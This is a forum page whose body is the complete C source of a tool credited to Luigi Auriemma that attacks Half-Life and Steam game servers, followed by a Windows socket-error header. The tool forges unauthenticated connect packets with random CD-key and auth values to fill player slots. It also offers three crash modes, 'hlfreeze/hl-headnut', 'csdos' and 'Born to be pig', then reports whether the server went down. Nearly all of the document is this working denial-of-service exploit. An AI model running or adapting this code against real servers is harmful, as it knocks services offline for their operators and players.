Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
/*
by Luigi Auriemma
*/
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <time.h>
#ifdef WIN32
#include <winsock.h>
#include "winerr.h"
#define close closesocket
#define sleep Sleep
#define ONESEC 1000
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
#define ONESEC 1
#define stricmp strcasecmp
#define stristr strcasestr
#endif
typedef uint8_t u8;
typedef uint16_t u16;
typedef uint32_t u32;
#define VER "0.3.2"
#define BUFFSZ 4010 // max Half-life packet in recvfrom()
#define PORT 27015
#define FUCK "\xff\xff\xff\xff" \
"connect %d %u " \
"\"" /* protocol info */ \
"\\prot\\%d" \
"\\unique\\0" \
"\\raw\\%s" \
"\\cdkey\\%s" \
"\" \"" /* game info */ \
"\\model\\gordon" \
"\\topcolor\\128" \
"\\bottomcolor\\128" \
"\\rate\\9999.000000" \
"\\cl_updaterate\\20" \
"\\cl_lw\\1" \
"\\cl_lc\\1" \
"%s" /* password */ \
"\\name\\%s" \
"%s" /* more stuff */ \
"\"" \
"\n"
/* prot:
1 = raw & cdkey: authentication certificate or STEAM authentication USERID
2 = raw: authentication certificate
3 = raw & cdkey: STEAM authentication USERID
4 = raw & cdkey: VALVE authentication USERID
*/
void fgetz(u8 *data, int len);
u8 *rndstr(u8 *data, int len, u32 *seed, int onlyhex);
int send_recv(int sd, u8 *in, int insz, u8 *out, int outsz, struct sockaddr_in *peer, int err);
int timeout(int sock, int sec);
int halflife_query(u8 *data, int size);
int source_query(u8 *data, int size);
u32 resolv(char *host);
void std_err(void);
u32 myseed;
int main(int argc, char *argv[]) {
struct sockaddr_in peer,
peerl;
u32 chall;
int sd,
i,
len,
info,
prot = 2,
proto,
attack = 0,
autotest = 0,
players = 0;
u16 port = PORT;
u8 buff[BUFFSZ + 1],
password[128],
raw_tmp[33],
cdkey_tmp[33],
name_tmp[33],
*host,
*raw = NULL,
*cdkey = NULL,
*name = NULL,
*addparval = "",
*p;
static const u8
info1[] = "\xff\xff\xff\xff" "infostring\n",
info2[] = "\xff\xff\xff\xff" "T" "Source Engine Query",
getch[] = "\xff\xff\xff\xff" "getchallenge\n";
#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif
setbuf(stdout, NULL);
fputs("\n"
"Half-Life fake players bug (no auth) "VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@autistici.org\n"
"web: aluigi.org\n"
"\n", stdout);
if(argc < 2) {
printf("\n"
"Usage: %s [options] <host[:port]>\n"
"\n"
"Options:\n"
"-x automatically cycles through all the available attack options testing\n"
" them with both -p 1 -r steam and -p 4 -r valve\n"
"-1 hlfreeze/hl-headnut attack\n"
"-2 csdos attack\n"
"-3 \"Born to be pig\" attack\n"
"-n NICK a fixed nickname to use (random)\n"
"-p NUM \\prot\\ value (%d)\n"
"-r TEXT \\raw\\ value (random)\n"
"-k HASH cd-key hash for the \\cdkey\\ value (random)\n"
"-a \\P\\V add custom parameters and values, for example:\n"
" -a \\password\\blabla\\parameter\\value\n"
"\n"
"default server port is %hu\n"
"\n", argv[0], prot, port);
exit(1);
}
argc--;
for(i = 1; i < argc; i++) {
if(((argv[i][0] != '-') && (argv[i][0] != '/')) || (strlen(argv[i]) != 2)) {
printf("\nError: recheck your options (%s is not valid)\n", argv[i]);
exit(1);
}
switch(argv[i][1]) {
case 'x': autotest = 1; break;
case '1': attack = 1; break;
case '2': attack = 2; break;
case '3': attack = 3; break;
case 'n': name = argv[++i]; break;
case 'p': prot = atoi(argv[++i]); break;
case 'r': raw = argv[++i]; break;
case 'k': cdkey = argv[++i]; break;
case 'a': addparval = argv[++i]; break;
default: {
printf("\nError: wrong command-line argument (%s)\n\n", argv[i]);
exit(1);
} break;
}
}
host = argv[argc];
p = strchr(host, ':');
if(p) {
*p = 0;
port = atoi(p + 1);
}
peer.sin_addr.s_addr = resolv(host);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;
peerl.sin_addr.s_addr = INADDR_ANY;
peerl.sin_port = htons(time(NULL));
peerl.sin_family = AF_INET;
printf("- target %s:%hu\n",
inet_ntoa(peer.sin_addr), ntohs(peer.sin_port));
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
info = 1;
printf("- query server with the classical Half-life query\n");
len = send_recv(sd, (u8 *)info1, sizeof(info1), buff, BUFFSZ, &peer, 0);
if(len >= 0) {
proto = halflife_query(buff, len);
} else {
info = 2;
printf("\n- query server with the Steam query\n");
len = send_recv(sd, (u8 *)info2, sizeof(info2), buff, BUFFSZ, &peer, 1);
proto = source_query(buff, len);
}
close(sd);
myseed = ~time(NULL);
password[0] = 0;
redo_autotest:
chall = 0;
if(autotest) {
attack = (autotest + 1) / 2;
if(attack > 3) {
printf("\n- test finished\n");
exit(1);
}
if(autotest & 1) {
prot = 1;
raw = "steam";
} else {
prot = 4;
raw = "valve";
}
printf("- test attack %d with -p %d -r %s\n", attack, prot, raw);
}
if((attack == 3) && name) name = NULL;
players = 0;
for(;;) {
printf("\n Player: ");
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
do {
peerl.sin_port++;
} while(bind(sd, (struct sockaddr *)&peerl, sizeof(peerl)) < 0);
if(!chall) {
len = send_recv(sd, (u8 *)getch, sizeof(getch), buff, BUFFSZ, &peer, 1);
if(buff[4] != 'A') goto quit_error;
for(i = 5; i < len; i++) {
if(buff[i] == ' ') { i++; break; }
}
sscanf(buff + i, "%u", &chall);
printf("%u", chall);
}
if(attack == 2) {
printf("\n- csdos attack\n ");
addparval = "\\";
}
if(attack == 3) {
if(!name) {
printf("\n- \"Born to be pig\" attack\n ");
memset(name_tmp, 0, sizeof(name_tmp));
rndstr(name_tmp, -1, &myseed, 0);
memcpy(name_tmp + (myseed % (strlen(name_tmp) - 1)), "..", 2);
name = name_tmp;
}
}
len = 1 + sprintf( // NULL included ever!
buff,
FUCK,
proto,
chall,
prot,
raw ? raw : rndstr(raw_tmp, 32, &myseed, 1),
cdkey ? cdkey : rndstr(cdkey_tmp, 32, &myseed, 1),
password,
name ? name : rndstr(name_tmp, -1, &myseed, 0),
addparval);
if(attack == 1) {
printf("\n- hlfreeze/hl-headnut attack\n ");
p = strchr(buff, '\"');
if(p && (p = strchr(p + 1, '\"'))) {
rndstr(p + 1, -1, &myseed, 0); // needed
len = strlen(buff);
}
}
if(attack) {
len = send_recv(sd, buff, len, buff, BUFFSZ, &peer, 0);
if(len < 0) break;
} else {
len = send_recv(sd, buff, len, buff, BUFFSZ, &peer, 1);
}
close(sd);
if(buff[4] == 'B') {
printf("%s", buff + 5);
players++;
if(attack && (players >= 2)) break;
} else {
buff[len] = 0;
if(stristr(buff + 5, " full")) {
printf("\n- %s", buff + 5);
for(i = 5; i; i--) {
printf(" %5d\r", i);
sleep(ONESEC);
}
players = 0;
} else if(stristr(buff + 5, "password")) {
printf("\n- insert the required password (%s):\n ", buff + 5);
len = sprintf(password, "\\password\\");
fgetz(password + len, sizeof(password) - len);
} else if(stristr(buff + 5, "challenge")) {
printf("\n- %s", buff + 5);
chall = 0;
} else if(stristr(buff + 5, "already in use")) {
printf("\n- %s", buff + 5);
} else {
goto quit_error;
}
}
}
printf("\n- check if server is crashed:\n");
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
if(info == 1) {
len = send_recv(sd, (u8 *)info1, sizeof(info1), buff, BUFFSZ, &peer, 0);
} else {
len = send_recv(sd, (u8 *)info2, sizeof(info2), buff, BUFFSZ, &peer, 0);
}
if(len < 0) {
printf("\n Server IS vulnerable!!!\n\n");
} else {
printf("\n Server doesn't seem vulnerable\n\n");
}
close(sd);
if(autotest) {
autotest++;
goto redo_autotest;
}
return(0);
quit_error:
printf("\n"
"Error: the server has sent an unexpected reply:\n"
" %s\n", buff + 5);
close(sd);
if(autotest) {
autotest++;
goto redo_autotest;
}
return(0);
}
void fgetz(u8 *data, int len) {
u8 *p;
fgets(data, len, stdin);
for(p = data; *p && (*p != '\n') && (*p != '\r'); p++);
*p = 0;
}
u8 *rndstr(u8 *data, int len, u32 *seed, int onlyhex) {
u32 rnd;
int tablelen;
u8 *table,
*p = data;
static const u8
table_hex[] =
"0123456789abcdef",
table_str[] =
"0123456789abcdef"
"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
"abcdefghijklmnopqrstuvwxyz";
rnd = *seed;
if(len < 0) {
len = rnd % 16;
if(len < 3) len = 3;
}
if(onlyhex) {
table = (u8 *)table_hex;
tablelen = sizeof(table_hex) - 1;
} else {
table = (u8 *)table_str;
tablelen = sizeof(table_str) - 1;
}
while(len--) {
rnd = (rnd * 0x343FD) + 0x269EC3;
*p++ = table[(rnd >> 16) % tablelen];
}
*p++ = 0;
*seed = rnd;
return(data);
}
int send_recv(int sd, u8 *in, int insz, u8 *out, int outsz, struct sockaddr_in *peer, int err) {
int retry = 2,
len;
if(in) {
while(retry--) {
fputc('.', stdout);
if(sendto(sd, in, insz, 0, (struct sockaddr *)peer, sizeof(struct sockaddr_in))
< 0) goto quit;
if(!out) return(0);
if(!timeout(sd, 2)) break;
}
} else {
if(timeout(sd, 3) < 0) retry = -1;
}
if(retry < 0) {
if(!err) return(-1);
printf("\nError: socket timeout, no reply received\n\n");
exit(1);
}
fputc('.', stdout);
len = recvfrom(sd, out, outsz, 0, NULL, NULL);
if(len < 0) goto quit;
return(len);
quit:
if(err) std_err();
return(-1);
}
int timeout(int sock, int sec) {
struct timeval tout;
fd_set fd_read;
int err;
tout.tv_sec = sec;
tout.tv_usec = 0;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
err = select(sock + 1, &fd_read, NULL, NULL, &tout);
if(err < 0) std_err();
if(!err) return(-1);
return(0);
}
int halflife_query(u8 *data, int size) {
int nt = 1,
len,
proto = 0;
u8 *p,
*limit;
limit = data + size;
*limit = 0;
data += 4;
len = strlen(data);
if(len < size) data += len + 1;
for(p = data; (data < limit) && p; data = p + 1, nt++) {
p = strchr(data, '\\');
if(p) *p = 0;
if(nt & 1) {
printf("%s\n", data);
if(proto < 0) proto = atoi(data);
} else {
if(!*data) break;
printf("%30s: ", data);
if(!stricmp(data, "protocol")) proto = -1;
}
}
return(proto);
}
int source_query(u8 *data, int size) {
int proto;
data += 5;
printf("%30s: %s\n", "Address", data); data += strlen(data) + 1;
printf("%30s: %s\n", "Hostname", data); data += strlen(data) + 1;
printf("%30s: %s\n", "Map", data); data += strlen(data) + 1;
printf("%30s: %s\n", "Mod", data); data += strlen(data) + 1;
printf("%30s: %s\n", "Description", data); data += strlen(data) + 1;
printf("%30s: %u/%u\n", "Players", data[0], data[1]); data += 2;
proto = *data;
printf("%30s: %u\n", "Version", *data++);
printf("%30s: %c\n", "Server type", *data++);
printf("%30s: %c\n", "Server OS", *data++);
printf("%30s: %u\n", "Password", *data++);
printf("%30s: %u\n", "Secure server", *data);
return(proto);
}
u32 resolv(char *host) {
struct hostent *hp;
u32 host_ip;
host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolv hostname (%s)\n", host);
exit(1);
} else host_ip = *(u32 *)hp->h_addr;
}
return(host_ip);
}
#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif
/*
Header file used for manage errors in Windows
It support socket and errno too
(this header replace the previous sock_errX.h)
*/
#include <string.h>
#include <errno.h>
void std_err(void) {
char *error;
switch(WSAGetLastError()) {
case 10004: error = "Interrupted system call"; break;
case 10009: error = "Bad file number"; break;
case 10013: error = "Permission denied"; break;
case 10014: error = "Bad address"; break;
case 10022: error = "Invalid argument (not bind)"; break;
case 10024: error = "Too many open files"; break;
case 10035: error = "Operation would block"; break;
case 10036: error = "Operation now in progress"; break;
case 10037: error = "Operation already in progress"; break;
case 10038: error = "Socket operation on non-socket"; break;
case 10039: error = "Destination address required"; break;
case 10040: error = "Message too long"; break;
case 10041: error = "Protocol wrong type for socket"; break;
case 10042: error = "Bad protocol option"; break;
case 10043: error = "Protocol not supported"; break;
case 10044: error = "Socket type not supported"; break;
case 10045: error = "Operation not supported on socket"; break;
case 10046: error = "Protocol family not supported"; break;
case 10047: error = "Address family not supported by protocol family"; break;
case 10048: error = "Address already in use"; break;
case 10049: error = "Can't assign requested address"; break;
case 10050: error = "Network is down"; break;
case 10051: error = "Network is unreachable"; break;
case 10052: error = "Net dropped connection or reset"; break;
case 10053: error = "Software caused connection abort"; break;
case 10054: error = "Connection reset by peer"; break;
case 10055: error = "No buffer space available"; break;
case 10056: error = "Socket is already connected"; break;
case 10057: error = "Socket is not connected"; break;
case 10058: error = "Can't send after socket shutdown"; break;
case 10059: error = "Too many references, can't splice"; break;
case 10060: error = "Connection timed out"; break;
case 10061: error = "Connection refused"; break;
case 10062: error = "Too many levels of symbolic links"; break;
case 10063: error = "File name too long"; break;
case 10064: error = "Host is down"; break;
case 10065: error = "No Route to Host"; break;
case 10066: error = "Directory not empty"; break;
case 10067: error = "Too many processes"; break;
case 10068: error = "Too many users"; break;
case 10069: error = "Disc Quota Exceeded"; break;
case 10070: error = "Stale NFS file handle"; break;
case 10091: error = "Network SubSystem is unavailable"; break;
case 10092: error = "WINSOCK DLL Version out of range"; break;
case 10093: error = "Successful WSASTARTUP not yet performed"; break;
case 10071: error = "Too many levels of remote in path"; break;
case 11001: error = "Host not found"; break;
case 11002: error = "Non-Authoritative Host not found"; break;
case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break;
case 11004: error = "Valid name, no data record of requested type"; break;
default: error = strerror(errno); break;
}
fprintf(stderr, "\nError: %s\n", error);
exit(1);
}